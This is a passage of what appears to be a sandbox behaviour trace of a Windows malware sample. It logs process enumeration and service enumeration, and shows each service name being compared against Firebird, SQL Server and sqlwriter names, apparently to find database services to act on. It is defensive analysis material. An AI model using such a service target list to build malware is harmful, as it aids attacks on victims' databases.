lpString2="SamSs") returned -1 [0169.016] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="SamSs") returned -1 [0169.016] lstrcmpiW (lpString1="sqlwriter", lpString2="SamSs") returned 1 [0169.016] lstrcmpiW (lpString1="mssqlserver", lpString2="SamSs") returned -1 [0169.016] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="SamSs") returned 1 [0169.016] lstrlenW (lpString="Schedule") returned 8 [0169.016] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Schedule") returned -1 [0169.016] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Schedule") returned -1 [0169.016] lstrcmpiW (lpString1="sqlwriter", lpString2="Schedule") returned 1 [0169.016] lstrcmpiW (lpString1="mssqlserver", lpString2="Schedule") returned -1 [0169.016] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Schedule") returned 1 [0169.016] lstrlenW (lpString="SecurityHealthService") returned 21 [0169.016] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="SecurityHealthService") returned -1 [0169.016] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="SecurityHealthService") returned -1 [0169.016] lstrcmpiW (lpString1="sqlwriter", lpString2="SecurityHealthService") returned 1 [0169.016] lstrcmpiW (lpString1="mssqlserver", lpString2="SecurityHealthService") returned -1 [0169.016] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="SecurityHealthService") returned 1 [0169.016] lstrlenW (lpString="SENS") returned 4 [0169.016] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="SENS") returned -1 [0169.016] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="SENS") returned -1 [0169.016] lstrcmpiW (lpString1="sqlwriter", lpString2="SENS") returned 1 [0169.016] lstrcmpiW (lpString1="mssqlserver", lpString2="SENS") returned -1 [0169.016] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="SENS") returned 1 [0169.016] lstrlenW (lpString="ShellHWDetection") returned 16 [0169.016] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="ShellHWDetection") returned -1 [0169.016] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="ShellHWDetection") returned -1 [0169.016] lstrcmpiW (lpString1="sqlwriter", lpString2="ShellHWDetection") returned 1 [0169.016] lstrcmpiW (lpString1="mssqlserver", lpString2="ShellHWDetection") returned -1 [0169.016] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="ShellHWDetection") returned 1 [0169.017] lstrlenW (lpString="Spooler") returned 7 [0169.017] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Spooler") returned -1 [0169.017] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Spooler") returned -1 [0169.017] lstrcmpiW (lpString1="sqlwriter", lpString2="Spooler") returned 1 [0169.017] lstrcmpiW (lpString1="mssqlserver", lpString2="Spooler") returned -1 [0169.017] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Spooler") returned 1 [0169.017] lstrlenW (lpString="StateRepository") returned 15 [0169.017] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="StateRepository") returned -1 [0169.017] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="StateRepository") returned -1 [0169.017] lstrcmpiW (lpString1="sqlwriter", lpString2="StateRepository") returned -1 [0169.017] lstrcmpiW (lpString1="mssqlserver", lpString2="StateRepository") returned -1 [0169.017] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="StateRepository") returned -1 [0169.017] lstrlenW (lpString="SysMain") returned 7 [0169.017] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="SysMain") returned -1 [0169.017] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="SysMain") returned -1 [0169.017] lstrcmpiW (lpString1="sqlwriter", lpString2="SysMain") returned -1 [0169.017] lstrcmpiW (lpString1="mssqlserver", lpString2="SysMain") returned -1 [0169.017] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="SysMain") returned -1 [0169.017] lstrlenW (lpString="SystemEventsBroker") returned 18 [0169.017] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="SystemEventsBroker") returned -1 [0169.017] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="SystemEventsBroker") returned -1 [0169.017] lstrcmpiW (lpString1="sqlwriter", lpString2="SystemEventsBroker") returned -1 [0169.017] lstrcmpiW (lpString1="mssqlserver", lpString2="SystemEventsBroker") returned -1 [0169.017] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="SystemEventsBroker") returned -1 [0169.017] lstrlenW (lpString="Themes") returned 6 [0169.017] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Themes") returned -1 [0169.017] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Themes") returned -1 [0169.017] lstrcmpiW (lpString1="sqlwriter", lpString2="Themes") returned -1 [0169.017] lstrcmpiW (lpString1="mssqlserver", lpString2="Themes") returned -1 [0169.017] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Themes") returned -1 [0169.017] lstrlenW (lpString="tiledatamodelsvc") returned 16 [0169.017] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="tiledatamodelsvc") returned -1 [0169.017] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="tiledatamodelsvc") returned -1 [0169.017] lstrcmpiW (lpString1="sqlwriter", lpString2="tiledatamodelsvc") returned -1 [0169.018] lstrcmpiW (lpString1="mssqlserver", lpString2="tiledatamodelsvc") returned -1 [0169.018] HeapFree (in: hHeap=0x420000, dwFlags=0x0, lpMem=0x4181fb8 | out: hHeap=0x420000) returned 1 [0169.018] CreateToolhelp32Snapshot (dwFlags=0x2, th32ProcessID=0x0) returned 0x454 [0169.022] Process32FirstW (in: hSnapshot=0x454, lppe=0x251fd2c | out: lppe=0x251fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x0, pcPriClassBase=0, dwFlags=0x0, szExeFile="[System Process]")) returned 1 [0169.023] Process32NextW (in: hSnapshot=0x454, lppe=0x251fd2c | out: lppe=0x251fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6e, th32ParentProcessID=0x0, pcPriClassBase=8, dwFlags=0x0, szExeFile="System")) returned 1 [0169.023] lstrlenW (lpString="System") returned 6 [0169.024] Process32NextW (in: hSnapshot=0x454, lppe=0x251fd2c | out: lppe=0x251fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x144, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x3, th32ParentProcessID=0x4, pcPriClassBase=11, dwFlags=0x0, szExeFile="smss.exe")) returned 1 [0169.024] lstrlenW (lpString="smss.exe") returned 8 [0169.024] Process32NextW (in: hSnapshot=0x454, lppe=0x251fd2c | out: lppe=0x251fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x198, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xa, th32ParentProcessID=0x190, pcPriClassBase=13, dwFlags=0x0, szExeFile="csrss.exe")) returned 1 [0169.025] lstrlenW (lpString="csrss.exe") returned 9 [0169.025] Process32NextW (in: hSnapshot=0x454, lppe=0x251fd2c | out: lppe=0x251fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1dc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x4, th32ParentProcessID=0x190, pcPriClassBase=13, dwFlags=0x0, szExeFile="wininit.exe")) returned 1 [0169.025] lstrlenW (lpString="wininit.exe") returned 11 [0169.025] Process32NextW (in: hSnapshot=0x454, lppe=0x251fd2c | out: lppe=0x251fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1e8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xc, th32ParentProcessID=0x1d4, pcPriClassBase=13, dwFlags=0x0, szExeFile="csrss.exe")) returned 1 [0169.026] lstrlenW (lpString="csrss.exe") returned 9 [0169.026] Process32NextW (in: hSnapshot=0x454, lppe=0x251fd2c | out: lppe=0x251fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x224, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x1d4, pcPriClassBase=13, dwFlags=0x0, szExeFile="winlogon.exe")) returned 1 [0169.026] lstrlenW (lpString="winlogon.exe") returned 12 [0169.026] Process32NextW (in: hSnapshot=0x454, lppe=0x251fd2c | out: lppe=0x251fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x240, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xd, th32ParentProcessID=0x1dc, pcPriClassBase=9, dwFlags=0x0, szExeFile="services.exe")) returned 1 [0169.026] lstrlenW (lpString="services.exe") returned 12 [0169.026] Process32NextW (in: hSnapshot=0x454, lppe=0x251fd2c | out: lppe=0x251fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x248, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x7, th32ParentProcessID=0x1dc, pcPriClassBase=9, dwFlags=0x0, szExeFile="lsass.exe")) returned 1 [0169.027] lstrlenW (lpString="lsass.exe") returned 9 [0169.027] Process32NextW (in: hSnapshot=0x454, lppe=0x251fd2c | out: lppe=0x251fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x29c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x224, pcPriClassBase=8, dwFlags=0x0, szExeFile="fontdrvhost.exe")) returned 1 [0169.027] lstrlenW (lpString="fontdrvhost.exe") returned 15 [0169.027] Process32NextW (in: hSnapshot=0x454, lppe=0x251fd2c | out: lppe=0x251fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x2a4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x1dc, pcPriClassBase=8, dwFlags=0x0, szExeFile="fontdrvhost.exe")) returned 1 [0169.028] lstrlenW (lpString="fontdrvhost.exe") returned 15 [0169.028] Process32NextW (in: hSnapshot=0x454, lppe=0x251fd2c | out: lppe=0x251fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x2dc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x17, th32ParentProcessID=0x240, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0169.028] lstrlenW (lpString="svchost.exe") returned 11 [0169.028] Process32NextW (in: hSnapshot=0x454, lppe=0x251fd2c | out: lppe=0x251fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x308, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xd, th32ParentProcessID=0x240, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0169.029] lstrlenW (lpString="svchost.exe") returned 11 [0169.029] Process32NextW (in: hSnapshot=0x454, lppe=0x251fd2c | out: lppe=0x251fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x364, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xc, th32ParentProcessID=0x224, pcPriClassBase=13, dwFlags=0x0, szExeFile="dwm.exe")) returned 1 [0169.029] lstrlenW (lpString="dwm.exe") returned 7 [0169.029] Process32NextW (in: hSnapshot=0x454, lppe=0x251fd2c | out: lppe=0x251fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x3b4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x3f, th32ParentProcessID=0x240, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0169.030] lstrlenW (lpString="svchost.exe") returned 11 [0169.030] Process32NextW (in: hSnapshot=0x454, lppe=0x251fd2c | out: lppe=0x251fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x3c4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1b, th32ParentProcessID=0x240, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0169.030] lstrlenW (lpString="svchost.exe") returned 11 [0169.030] Process32NextW (in: hSnapshot=0x454, lppe=0x251fd2c | out: lppe=0x251fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x3e8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x14, th32ParentProcessID=0x240, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0169.031] lstrlenW (lpString="svchost.exe") returned 11 [0169.031] Process32NextW (in: hSnapshot=0x454, lppe=0x251fd2c | out: lppe=0x251fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x3f8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x10, th32ParentProcessID=0x240, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0169.032] lstrlenW (lpString="svchost.exe") returned 11 [0169.032] Process32NextW (in: hSnapshot=0x454, lppe=0x251fd2c | out: lppe=0x251fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x15c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x24, th32ParentProcessID=0x240, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0169.032] lstrlenW (lpString="svchost.exe") returned 11 [0169.032] Process32NextW (in: hSnapshot=0x454, lppe=0x251fd2c | out: lppe=0x251fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x440, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x16, th32ParentProcessID=0x240, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0169.033] lstrlenW (lpString="svchost.exe") returned 11 [0169.033] Process32NextW (in: hSnapshot=0x454, lppe=0x251fd2c | out: lppe=0x251fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x4dc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x9, th32ParentProcessID=0x240, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0169.033] lstrlenW (lpString="svchost.exe") returned 11 [0169.033] Process32NextW (in: hSnapshot=0x454, lppe=0x251fd2c | out: lppe=0x251fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x508, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0x240, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0169.034] lstrlenW (lpString="svchost.exe") returned 11 [0169.034] Process32NextW (in: hSnapshot=0x454, lppe=0x251fd2c | out: lppe=0x251fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x510, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xb, th32ParentProcessID=0x240, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0169.035] lstrlenW (lpString="svchost.exe") returned 11 [0169.035] Process32NextW (in: hSnapshot=0x454, lppe=0x251fd2c | out: lppe=0x251fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x57c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xc, th32ParentProcessID=0x240, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0169.035] lstrlenW (lpString="svchost.exe") returned 11 [0169.035] Process32NextW (in: hSnapshot=0x454, lppe=0x251fd2c | out: lppe=0x251fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x604, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x7, th32ParentProcessID=0x240, pcPriClassBase=8, dwFlags=0x0, szExeFile="spoolsv.exe")) returned 1 [0169.036] lstrlenW (lpString="spoolsv.exe") returned 11 [0169.036] Process32NextW (in: hSnapshot=0x454, lppe=0x251fd2c | out: lppe=0x251fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x690, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0x240, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0169.036] lstrlenW (lpString="svchost.exe") returned 11 [0169.036] Process32NextW (in: hSnapshot=0x454, lppe=0x251fd2c | out: lppe=0x251fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x6b0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x4dc, pcPriClassBase=8, dwFlags=0x0, szExeFile="audiodg.exe")) returned 1 [0169.037] lstrlenW (lpString="audiodg.exe") returned 11 [0169.037] Process32NextW (in: hSnapshot=0x454, lppe=0x251fd2c | out: lppe=0x251fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x6f4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x11, th32ParentProcessID=0x3b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="sihost.exe")) returned 1 [0169.038] lstrlenW (lpString="sihost.exe") returned 10 [0169.038] Process32NextW (in: hSnapshot=0x454, lppe=0x251fd2c | out: lppe=0x251fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x70c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xf, th32ParentProcessID=0x240, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0169.038] lstrlenW (lpString="svchost.exe") returned 11 [0169.038] Process32NextW (in: hSnapshot=0x454, lppe=0x251fd2c | out: lppe=0x251fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x7a8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x10, th32ParentProcessID=0x3b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="taskhostw.exe")) returned 1 [0169.039] lstrlenW (lpString="taskhostw.exe") returned 13 [0169.039] Process32NextW (in: hSnapshot=0x454, lppe=0x251fd2c | out: lppe=0x251fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x7d4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x10, th32ParentProcessID=0x240, pcPriClassBase=8, dwFlags=0x0, szExeFile="OfficeClickToRun.exe")) returned 1 [0169.039] lstrlenW (lpString="OfficeClickToRun.exe") returned 20 [0169.040] Process32NextW (in: hSnapshot=0x454, lppe=0x251fd2c | out: lppe=0x251fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x410, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0x240, pcPriClassBase=8, dwFlags=0x0, szExeFile="SecurityHealthService.exe")) returned 1 [0169.040] lstrlenW (lpString="SecurityHealthService.exe") returned 25 [0169.040] Process32NextW (in: hSnapshot=0x454, lppe=0x251fd2c | out: lppe=0x251fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x5f0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xe, th32ParentProcessID=0x4, pcPriClassBase=8, dwFlags=0x0, szExeFile="Memory Compression")) returned 1 [0169.041] lstrlenW (lpString="Memory Compression") returned 18 [0169.041] Process32NextW (in: hSnapshot=0x454, lppe=0x251fd2c | out: lppe=0x251fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x9a0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x43, th32ParentProcessID=0x98c, pcPriClassBase=8, dwFlags=0x0, szExeFile="explorer.exe")) returned 1 [0169.041] lstrlenW (lpString="explorer.exe") returned 12 [0169.041] Process32NextW (in: hSnapshot=0x454, lppe=0x251fd2c | out: lppe=0x251fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xb64, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1b, th32ParentProcessID=0x2dc, pcPriClassBase=8, dwFlags=0x0, szExeFile="ShellExperienceHost.exe")) returned 1 [0169.042] lstrlenW (lpString="ShellExperienceHost.exe") returned 23 [0169.042] Process32NextW (in: hSnapshot=0x454, lppe=0x251fd2c | out: lppe=0x251fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xb7c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1f, th32ParentProcessID=0x2dc, pcPriClassBase=8, dwFlags=0x0, szExeFile="SearchUI.exe")) returned 1 [0169.042] lstrlenW (lpString="SearchUI.exe") returned 12 [0169.043] Process32NextW (in: hSnapshot=0x454, lppe=0x251fd2c | out: lppe=0x251fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x6c8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0x2dc, pcPriClassBase=8, dwFlags=0x0, szExeFile="RuntimeBroker.exe")) returned 1 [0169.043] lstrlenW (lpString="RuntimeBroker.exe") returned 17 [0169.043] Process32NextW (in: hSnapshot=0x454, lppe=0x251fd2c | out: lppe=0x251fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xd30, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xb, th32ParentProcessID=0x2dc, pcPriClassBase=8, dwFlags=0x0, szExeFile="WmiPrvSE.exe")) returned 1 [0169.044] lstrlenW (lpString="WmiPrvSE.exe") returned 12 [0169.044] Process32NextW (in: hSnapshot=0x454, lppe=0x251fd2c | out: lppe=0x251fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xdb0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x18, th32ParentProcessID=0x9a0, pcPriClassBase=8, dwFlags=0x0, szExeFile="dttcodexgigas.96456d2195a94283890a2a856e33651b4f6e40d3.exe")) returned 1 [0169.044] lstrlenW (lpString="dttcodexgigas.96456d2195a94283890a2a856e33651b4f6e40d3.exe") returned 58 [0169.044] Process32NextW (in: hSnapshot=0x454, lppe=0x251fd2c | out: lppe=0x251fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xdbc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0xdb0, pcPriClassBase=8, dwFlags=0x0, szExeFile="cmd.exe")) returned 1 [0169.045] lstrlenW (lpString="cmd.exe") returned 7 [0169.045] Process32NextW (in: hSnapshot=0x454, lppe=0x251fd2c | out: lppe=0x251fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xde0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x4, th32ParentProcessID=0xdbc, pcPriClassBase=8, dwFlags=0x0, szExeFile="conhost.exe")) returned 1 [0169.046] lstrlenW (lpString="conhost.exe") returned 11 [0169.046] Process32NextW (in: hSnapshot=0x454, lppe=0x251fd2c | out: lppe=0x251fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xe6c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x3b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="consent.exe")) returned 1 [0169.046] lstrlenW (lpString="consent.exe") returned 11 [0169.046] Process32NextW (in: hSnapshot=0x454, lppe=0x251fd2c | out: lppe=0x251fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xe6c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x3b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="consent.exe")) returned 0 [0169.047] CloseHandle (hObject=0x454) returned 1 [0169.047] Sleep (dwMilliseconds=0x1f4) [0169.553] OpenSCManagerW (lpMachineName=0x0, lpDatabaseName=0x0, dwDesiredAccess=0x4) returned 0x408dc68 [0169.553] EnumServicesStatusExW (in: hSCManager=0x408dc68, InfoLevel=0x0, dwServiceType=0x30, dwServiceState=0x1, lpServices=0x0, cbBufSize=0x0, pcbBytesNeeded=0x251ff3c, lpServicesReturned=0x251ff54, lpResumeHandle=0x0, pszGroupName=0x0 | out: lpServices=0x0, pcbBytesNeeded=0x251ff3c, lpServicesReturned=0x251ff54, lpResumeHandle=0x0) returned 0 [0169.554] GetLastError () returned 0xea [0169.554] RtlAllocateHeap (HeapHandle=0x420000, Flags=0x0, Size=0x1bc4) returned 0x4171fb0 [0169.554] EnumServicesStatusExW (in: hSCManager=0x408dc68, InfoLevel=0x0, dwServiceType=0x30, dwServiceState=0x1, lpServices=0x4171fb0, cbBufSize=0x1bc4, pcbBytesNeeded=0x251ff3c, lpServicesReturned=0x251ff54, lpResumeHandle=0x0, pszGroupName=0x0 | out: lpServices=0x4171fb0, pcbBytesNeeded=0x251ff3c, lpServicesReturned=0x251ff54, lpResumeHandle=0x0) returned 1 [0169.555] CloseServiceHandle (hSCObject=0x408dc68) returned 1 [0169.555] lstrlenW (lpString="Appinfo") returned 7 [0169.555] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Appinfo") returned 1 [0169.555] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Appinfo") returned 1 [0169.555] lstrcmpiW (lpString1="sqlwriter", lpString2="Appinfo") returned 1 [0169.555] lstrcmpiW (lpString1="mssqlserver", lpString2="Appinfo") returned 1 [0169.555] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Appinfo") returned 1 [0169.555] lstrlenW (lpString="AppXSvc") returned 7 [0169.555] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="AppXSvc") returned 1 [0169.555] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="AppXSvc") returned 1 [0169.555] lstrcmpiW (lpString1="sqlwriter", lpString2="AppXSvc") returned 1 [0169.555] lstrcmpiW (lpString1="mssqlserver", lpString2="AppXSvc") returned 1 [0169.555] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="AppXSvc") returned 1 [0169.555] lstrlenW (lpString="AudioEndpointBuilder") returned 20 [0169.555] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="AudioEndpointBuilder") returned 1 [0169.555] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="AudioEndpointBuilder") returned 1 [0169.555] lstrcmpiW (lpString1="sqlwriter", lpString2="AudioEndpointBuilder") returned 1 [0169.555] lstrcmpiW (lpString1="mssqlserver", lpString2="AudioEndpointBuilder") returned 1 [0169.555] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="AudioEndpointBuilder") returned 1 [0169.556] lstrlenW (lpString="Audiosrv") returned 8 [0169.556] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Audiosrv") returned 1 [0169.556] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Audiosrv") returned 1 [0169.556] lstrcmpiW (lpString1="sqlwriter", lpString2="Audiosrv") returned 1 [0169.556] lstrcmpiW (lpString1="mssqlserver", lpString2="Audiosrv") returned 1 [0169.556] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Audiosrv") returned 1 [0169.556] lstrlenW (lpString="BFE") returned 3 [0169.556] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="BFE") returned 1 [0169.556] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="BFE") returned 1 [0169.556] lstrcmpiW (lpString1="sqlwriter", lpString2="BFE") returned 1 [0169.556] lstrcmpiW (lpString1="mssqlserver", lpString2="BFE") returned 1 [0169.556] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="BFE") returned 1 [0169.556] lstrlenW (lpString="BrokerInfrastructure") returned 20 [0169.556] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="BrokerInfrastructure") returned 1 [0169.556] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="BrokerInfrastructure") returned 1 [0169.556] lstrcmpiW (lpString1="sqlwriter", lpString2="BrokerInfrastructure") returned 1 [0169.556] lstrcmpiW (lpString1="mssqlserver", lpString2="BrokerInfrastructure") returned 1 [0169.556] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="BrokerInfrastructure") returned 1 [0169.556] lstrlenW (lpString="CDPSvc") returned 6 [0169.556] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="CDPSvc") returned 1 [0169.556] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="CDPSvc") returned 1 [0169.556] lstrcmpiW (lpString1="sqlwriter", lpString2="CDPSvc") returned 1 [0169.556] lstrcmpiW (lpString1="mssqlserver", lpString2="CDPSvc") returned 1 [0169.556] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="CDPSvc") returned 1 [0169.556] lstrlenW (lpString="ClickToRunSvc") returned 13 [0169.556] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="ClickToRunSvc") returned 1 [0169.556] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="ClickToRunSvc") returned 1 [0169.556] lstrcmpiW (lpString1="sqlwriter", lpString2="ClickToRunSvc") returned 1 [0169.556] lstrcmpiW (lpString1="mssqlserver", lpString2="ClickToRunSvc") returned 1 [0169.556] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="ClickToRunSvc") returned 1 [0169.556] lstrlenW (lpString="CoreMessagingRegistrar") returned 22 [0169.556] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="CoreMessagingRegistrar") returned 1 [0169.556] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="CoreMessagingRegistrar") returned 1 [0169.556] lstrcmpiW (lpString1="sqlwriter", lpString2="CoreMessagingRegistrar") returned 1 [0169.556] 